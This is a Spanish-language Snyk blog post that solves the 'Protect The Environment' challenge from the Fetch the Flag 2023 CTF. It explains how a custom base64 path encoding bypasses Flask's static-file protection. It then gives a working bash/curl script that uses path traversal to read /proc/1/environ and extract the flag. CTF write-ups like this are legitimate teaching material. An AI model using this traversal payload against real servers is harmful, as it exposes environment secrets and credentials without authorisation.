Skip to main content

Solución del CTF Fetch the Flag 2023 de Snyk: Protect The Environment

Escrito por
snyk ctf protect the environment

30 de noviembre de 2023

0 minutos de lectura

¡Gracias por jugar Fetch con nosotros! Felicitaciones a los miles de jugadores que participaron en el CTF Fetch the Flag. Si participaste en Fetch the Flag 2023 de Snyk y buscas la respuesta al desafío Protect The Environment, llegaste al lugar indicado. ¡Veamos la solución juntos!

El desafío usa una capa de codificación base64 hecha a mano para las rutas. Parece estar bien, pero impide que Flask pueda aplicar automáticamente chroot a los archivos estáticos. Se trata de un ataque de inclusión de archivos, pero en lugar de incluir un archivo, se incluye el archivo /proc/<pid>/environ. No se le indica al usuario ni se le da una forma de descubrir el PID, pero esto no es un problema, ya que PID 1 funciona (o puedes enumerarlos y encontrarás el PID 8, que es el que usan los workers de Gunicorn).

#!/bin/bash

if [[ -z "$1" ]]
then
    echo "IP address or hostname not specified"
    exit 1
fi

if [[ -z "$2" ]]
then
    echo "Port not specified"
    exit 1
fi

curl -s http://$1:$2/`echo "assets/../../../../../../proc/1/environ" | base64` -o - | strings | grep -oE "flag{.*?}" --color=none

¡Gracias por hacer posible Fetch!

¡Muchísimas gracias a todos los equipos de Fetch the Flag 2023! Fue genial verlos a todos allí. Siempre puedes encontrarme en YouTube.

Aquí están las soluciones de los otros desafíos de 2023. ¡Échales un vistazo!

Publicado en: